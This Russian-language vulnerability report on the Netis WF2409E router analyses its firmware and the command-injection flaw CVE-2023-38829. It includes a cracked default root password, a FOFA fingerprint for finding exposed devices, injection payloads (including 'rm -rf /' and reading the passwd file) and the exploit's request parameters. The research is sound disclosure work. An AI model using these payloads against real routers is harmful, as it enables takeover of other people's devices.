Отчет устройства Netis WF2409E

1. Обзор устройства

1.1 Таблица основных характеристик

1.2 Таблица проверки работоспособности

1.3 Основные компоненты системы

2. Исследование контактов

2.1 Подключение к устройству через последовательный порт

3. Лог загрузки, команды загрузчика и ОС

3.1 Анализ лога загрузки

Характеристики процессора

Характеристики Flash-памяти

Информация о загрузчике

Сетевые настройки по умолчанию

Информация о системном ПО

Состояние служб

Важно отметить, что это устройство, вероятно, не использует U-Boot. Ключевые признаки:

1. Журнал начинается непосредственно с информации о загрузке RealTek: ---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](https://github.com/victorique-123/cve-2023-38829-netis-wf2409e_report/blob/HEAD/380MHz)
2. Отсутствуют типичные признаки загрузки U-Boot:

• Нет информации о версии U-Boot
• Нет информации об инициализации переменных окружения U-Boot
• Нет приглашения командной строки U-Boot

3. RTL8196E - это бюджетный маршрутизаторный чип от RealTek, многие устройства на его основе используют собственный загрузчик RealTek вместо U-Boot.
4. Учитывая малый объем Flash-памяти (4MB), использование облегченного загрузчика более логично. Фактически не удалось найти способ входа в U-boot.

3.2 Анализ загрузчика

Для входа в загрузчик необходимо удерживать клавишу Esc во время загрузки:

Полный набор команд загрузчика RealTek

Пример чтения памяти:

Команды Bootloader :

<RealTek> FLR 80000000 0 100 #Чтение из Flash DB 80000000 100 #Просмотр содержимого памяти

3.3 Анализ Shell-среды

Основные команды Shell

Подробная структура системных каталогов (/bin — важные инструменты)

Ключевая информация каталога /proc

Список процессов:

3.4 Описание основных аппаратных компонентов

4. Анализ информации о точках монтирования

4.1 Получение информации о монтировании разделов

4.2 В системе определено три основных точки монтирования:

• /dev/mtdblock1 смонтирован как корневой каталог /
• none смонтирован как файловая система процессов /proc
• tmpfs смонтирован как временная файловая система /var

Детальный анализ

4.2.1. Корневая файловая система

Корневая файловая система настроена следующим образом:

• Устройство: /dev/mtdblock1
• Тип файловой системы: squashfs
• Опции монтирования: только для чтения (ro)
• Назначение: хранение системных файлов и программ

Это указывает на использование MTD флэш-памяти в качестве носителя, при этом файлы системы защищены и оптимизированы по объему с помощью только чтения и компрессии squashfs.

4.2.2 Файловая система процессов

Файловая система процессов настроена следующим образом:

• Устройство: none (виртуальная файловая система)
• Тип файловой системы: proc
• Опции монтирования: чтение-запись (rw)
• Назначение: предоставление интерфейса для доступа к информации системы и процессов

4.2.3 Временная файловая система

Временная файловая система настроена следующим образом:

• Устройство: tmpfs (файловая система в памяти)
• Точка монтирования: /var
• Ограничение по размеру: 230 КБ
• Опции монтирования: чтение-запись (rw)
• Назначение: хранение временных файлов и данных во время работы

4.2.4 Обнаружено, что большинство команд в системе отсутствует

5. Структура и формат прошивки

5.1 Получение ВПО "netis.bin"

5.2 Проведения энтропийного анализа:

binwalk -E --save netis.bin

5.3 Анализ заголовков:

binwalk netis.bin

5.4 Для выполнения распаковки используются аргументы –reM.

И получить:

5.5 Таблица результатов анализа

Смещение	Заголовок раздела
0x12F0
0x32818

6. Файловая система после распаковки прошивки

6.1 Файловая система после распаковки:

6.2 Некоторые важные документы

6.2.1 etc/passwd:

Используя сервис дешифрования хэшей https://hashes.com/en/decrypt/hash, пароль root был успешно восстановлен как realtek.

6.2.2 web/welcome.htm:

Это страница веб-интерфейса по умолчанию

7. Маркеры, фингерпринт для FOFA, статистика

Поиск устройств в FOFA через характеристики в web/welcome.htm:

Команды поиска: body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

Для доступа к административной панели устройства может потребоваться аутентификация с помощью логина и пароля

После успешной аутентификации можно войти в административную панель

8. Скрипт идентификации

Сначала с помощью команды ~/squashfs-root/web$ find были найдены доступные директории, и с помощью Burpsuit была проверена их доступность:

Потенциальные места нахождения информации:

После проверки, мы можем найти в файле ==/version.txt== следующую информацию:

• Версию прошивки (firmware version)
• Дату сборки (build date)
• Информацию о сервере Boa (получена из поля Server в HTTP-заголовке ответа)

Извлечение этой информации было реализовано с помощью Python-скрипта:

9. Список уязвимостей с CVSS

9.1 Список уязвимостей

В настоящее время в данном устройстве обнаружены следующие уязвимости, среди которых уязвимость CVE-2023-38829 представляет собой уязвимость внедрения команд, существующую в модуле сетевого тестирования маршрутизатора NETIS SYSTEMS Router WF2409E в функциях ping и traceroute. Через веб-интерфейс управления можно внедрять вредоносные команды в параметры этих функций, что приводит к выполнению команд.

9.2 Проверка уязвимости

Чтобы проверить наличие этой уязвимости, я вошел в панель управления маршрутизатора и протестировал уязвимость в функциях ping и traceroute. Здесь я внедрил команду cd && ls && cd etc/ && cat passwd, которая вывела содержимое файла паролей.

Ниже представлен вывод панели управления маршрутизатора при внедрении команды, что подтверждает наличие уязвимости.

9.3 Оценка уязвимости по системе CVSS

Анализ CVSS 3.1 обнаруженных уязвимостей инъекции команд:

1. Оценка базовых показателей:

   • Вектор атаки (AV): Сетевой (N), так как возможна удаленная эксплуатация
   • Сложность атаки (AC): Низкая (L), так как требуется только отправка HTTP-запроса
   • Необходимые привилегии (PR): Низкие (L), требуются базовые права пользователя (аутентификация в административном интерфейсе устройства)
   • Взаимодействие с пользователем (UI): Отсутствует (N), не требуется действий пользователя
   • Область воздействия (S): Измененная (C), может влиять на другие устройства, подключенные к маршрутизатору

2. Показатели воздействия:

   • Влияние на конфиденциальность (C): Высокое (H), возможно получение полного доступа к системе
   • Влияние на целостность (I): Высокое (H), возможно изменение любых системных файлов
   • Влияние на доступность (A): Высокое (H), возможно влияние на работу устройства

3. Временные метрики оценки:
   • Зрелость эксплойта (E): Существует функциональный эксплойт (F)
   • Уровень исправления (RL): Официальное исправление (O)
   • Достоверность отчета (RC): Подтверждено (C)

Итоговая оценка: 9.2/10 баллов , что относится к категории "критическая". CVSS-Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Такая высокая оценка уязвимости обусловлена следующими причинами:

• Возможность удаленной эксплуатации без специальных условий
• Возможность получения прав root без аутентификации
• Полное влияние на безопасность системы
• Простота эксплуатации уязвимости

10. Анализ слабой уязвимости (BO или CI)

Давайте сначала найдём файлы, где могут быть уязвимости: find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

Я предполагаю, что уязвимости могут проявляться в CGI программах, поэтому для начала попробую проанализировать файл ./web/cgi-bin/cgitest.cgi с помощью IDA Pro.

Сначала нужно найти места вызова похожих функций, через поиск удалось найти строку "killall ping". При анализе места вызова можно увидеть, что программа после инициализации функций ping и traceroute вызывает /bin/network_test.sh

А место, где находится уязвимость, как раз в модуле тестирования сети. Хорошо, нам нужно проанализировать /bin/network_test.sh.

Анализ network_test.sh

Вначале необходимо выполнить поиск.

Находим функцию network_test_sh: ......

При детальном анализе функции можно обнаружить модули выполнения команд и сохранения результатов.

В них: Выполнение команды ping: ping -c %d -s %d %s -W %d > %s &

• Параметры ping:
  • -c: количество пингов
  • -s: размер пакета данных (минус 8 байт)
  • -W: время ожидания
  • целевой IP адрес из конфигурации

Выполнение команды traceroute: traceroute -I -m %d %s > %s &

• Параметры traceroute:
  • -I: использование протокола ICMP
  • -m: максимальное количество прыжков
  • целевой IP адрес из конфигурации

Детальный анализ уязвимости

# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var\_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var\_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf

# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров

# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

В коде отсутствует достаточная проверка входных параметров, что создает потенциальный риск инъекции команд. Злоумышленник может управлять передаваемым IP-параметром для выполнения shell-команд, например:

# Нормальный ввод 192.168.0.1

# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд

11. Скрипт эксплуатации

11.1. Обзор скрипта

Этот скрипт использует уязвимость инъекции команд в веб-интерфейсе устройства для удаленного выполнения команд путем создания специальных HTTP-запросов. Скрипт выполняет эксплуатацию уязвимости с помощью двух HTTP POST запросов: первый запрос внедряет команду, второй - получает результат выполнения.

Первый пакет (netcore_set.cgi) предназначен для: внедрения и выполнения команды

Второй пакет (netcore_get.cgi) предназначен для: получения результата выполнения команды

11.2 Первый этап: инъекция команды

1. Формирование тела POST-запроса со следующими ключевыми параметрами:

{ "mode_name": "netcore_set", 
	 "tools_type": "2", 
	 "tools_ip_url": f"| {command}", # точка инъекции команды 
	 "tools_cmd": "1", 
	 "net_tools_set": "1" }

2. URL-кодирование всех параметров
3. Отправка POST-запроса на netcore_set.cgi

11.3 Второй Этап: получение результатов

1. Формирование второго POST-запроса:

	{ "mode_name": "netcore_get",    
	  "noneed": "noneed" }

2. Отправка запроса на netcore_get.cgi
3. Парсинг поля tools_results в ответе для получения результата выполнения команды

11.4 Тестирование скриптов

Для тестирования скрипта я создал файл ceshi на хосте и попытался загрузить его на устройство через скрипт

Успешно!

Фактически эта уязвимость позволяет получить полный контроль над устройством, так как устройство по умолчанию использует root-доступ